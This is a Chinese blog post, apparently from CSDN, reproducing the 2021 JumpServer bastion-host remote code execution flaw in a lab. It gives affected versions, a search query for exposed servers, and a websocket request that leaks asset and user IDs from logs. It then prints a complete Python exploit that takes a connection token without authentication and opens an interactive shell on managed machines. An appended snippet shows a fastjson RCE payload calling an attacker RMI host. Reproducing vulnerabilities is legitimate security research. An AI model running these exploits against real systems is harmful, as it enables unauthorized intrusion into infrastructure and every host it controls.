JumpServer RCE复现

前言

JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。

2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。

堡垒机(跳板机)的概念

堡垒机,即在一个特定的网络环境下,为了保障网络和数据不受来自外部和内部用户的入侵和破坏,而运用各种技术手段实时收集和监控网络环境中每一个组成部分的系统状态、安全事件、网络活动,以便集中报警、及时处理及审计定责。
直白的来讲就是统一管理资产权限

影响范围

JumpServer < v2.6.2

JumpServer < v2.5.4

JumpServer < v2.4.5

JumpServer = v1.5.9

fofa语法 app=“FIT2CLOUD-JumpServer-堡垒机”

准备

推荐使用centos7.x(尽量高的配置:4核8G 100G磁盘空间)搭建JumpServer (v2.6.1 新版本已经修复)。

CentOS7系统磁盘扩容

centos7 在原有磁盘空间基础上拓展大小需要清空之前的快照,从客户机操作系统内部对磁盘重新进行分区和拓展文件系统。

系统挂载磁盘

#原本的磁盘,并未扩容
[root@10 ~]# df -h
文件系统        容量  已用  可用 已用% 挂载点
/dev/sda3        10G  6.2G  3.9G   62% /
devtmpfs        3.8G     0  3.8G    0% /dev
tmpfs           3.9G     0  3.9G    0% /dev/shm
tmpfs           3.9G  9.0M  3.9G    1% /run
tmpfs           3.9G     0  3.9G    0% /sys/fs/cgroup
/dev/sda1       197M  152M   46M   78% /boot
tmpfs           781M   20K  781M    1% /run/user/0

查看新硬盘分区

fdisk -l /dev/sda #查看磁盘情况
df -lh            #查看磁盘占用情况
fdisk /dev/sda    #创建新分区        命令行输入 n 创建新分区 d 删除分区 p 显示当前分区 w 配置写入磁盘
xfs_growfs /dev/sda3    #刷新

centos7根目录扩容(根目录在sda3 vgdisplay为空)

扩容之后

搭建

wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh

编辑安装脚本

vi quick_start.sh

将这两个变量的值修改,不改的话默认最先版本,最新版没有漏洞

Version="v2.6.1"
JMS_Version="v2.6.1"
chmod +x ./quick_start.sh
./quick_start.sh

默认会安装到/opt下

cd /opt/jumpserver-installer-v2.6.1
./jmsctl.sh start

安装完成后

先访问8080,默认账号密码问admin/admin,进入之后修改默认密码

复现前配置一下堡垒机:

在资源管理中添加一台主机(靶机),实现连接(可以参考官方文档)

访问http://10.10.10.142:8080/luna/?_=1676259416273

Google插件:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

复现过程

打开插件

连接ws://youtip:8080/ws/ops/tasks/log进行测试
发送{"task":"/opt/jumpserver/logs/jumpserver"}查看日志

获取system_user user_id asset_id

asset_id=e911a0f0-069c-4ac1-a3ff-6459a4ec9d33
system_user_id=504dd258-3279-4615-bd4d-614a03231bee
user_id=aea7a80d-e1a5-44d8-8456-39f4cacd5856
import os
import asyncio
import aioconsole
import websockets
import requests
import json
 
url = "/api/v1/authentication/connection-token/?user-only=1"
 
 
def get_celery_task_log_path(task_id):
    task_id = str(task_id)
    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
    path = os.path.join("/opt/jumpserver/", rel_path)
    return path
 
 
async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
 
 
async def send_loop(ws, session_id):
    while True:
        cmdline = await aioconsole.ainput()
        await send_msg(
            ws,
            json.dumps(
                {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
            ),
        )
 
 
async def recv_loop(ws):
    while True:
        recv_text = await ws.recv()
        ret = json.loads(recv_text)
        if ret.get("type", "TERMINAL_DATA"):
            await aioconsole.aprint(ret["data"], end="")
 
 
# 客户端主逻辑
async def main_logic():
    print("#######start ws")
    async with websockets.connect(target) as client:
        recv_text = await client.recv()
        print(f"{recv_text}")
        session_id = json.loads(recv_text)["id"]
        print("get ws id:" + session_id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps(
            {
                "id": session_id,
                "type": "TERMINAL_INIT",
                "data": '{"cols":164,"rows":17}',
            }
        )
        await send_msg(client, inittext)
        await asyncio.gather(recv_loop(client), send_loop(client, session_id))
 
 
if __name__ == "__main__":
    host = "http://192.168.31.227:8080"
    cmd = "whoami"
    if host[-1] == "/":
        host = host[:-1]
    print(host)
    data = {"user": "aea7a80d-e1a5-44d8-8456-39f4cacd5856", "asset": "e911a0f0-069c-4ac1-a3ff-6459a4ec9d33",
            "system_user": "504dd258-3279-4615-bd4d-614a03231bee"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = (
        "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
    )
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic())

运行rce.py

python3 rce.py

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
fastjson是一款流行的Java JSON库,但因其在解析JSON中的不安全行为而存在远程代码执行(RCE)漏洞。为了该漏洞,我们可以按照以下步骤进行操作: 第一步是选择一个适当的fastjson版本,建议使用较早的版本,因为新的版本通常会修漏洞。将fastjson库添加到Java项目的依赖中。 第二步是创建一个恶意JSON字符串,该字符串中包含能够触发RCE漏洞的payload。例如,可以使用如下的JSON字符串: ``` { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://attacker.com:1099/Exploit", "autoCommit":true } ``` 在这个例子中,我们使用了`com.sun.rowset.JdbcRowSetImpl`类作为目标,其中连接地址指向攻击者控制的RMI服务器,用于向受害系统发送恶意代码。 第三步是编写Java代码,并将上一步创建的JSON字符串作为输入传递给fastjson的解析器。以下是一个简单的示例: ```java import com.alibaba.fastjson.JSON; public class FastjsonRce { public static void main(String[] args) { String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker.com:1099/Exploit\",\"autoCommit\":true}"; Object parsedObject = JSON.parse(maliciousJson); } } ``` 在这个示例中,我们使用`JSON.parse`方法将JSON字符串解析为一个对象。fastjson在解析时会实例化目标类,并调用其构造函数和setter方法,从而导致RCE漏洞的利用。 第四步是运行上述Java代码,并观察是否成功RCE漏洞。如果目标系统受到fastjson的漏洞影响,恶意代码会在解析过程中被执行,从而使攻击者可以远程控制该系统。 需要注意的是,fastjson RCE漏洞仅用于研究和教育目的,并且应在法律合规和授权的情况下进行。漏洞利用是非法行为,可能导致严重的法律后果。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值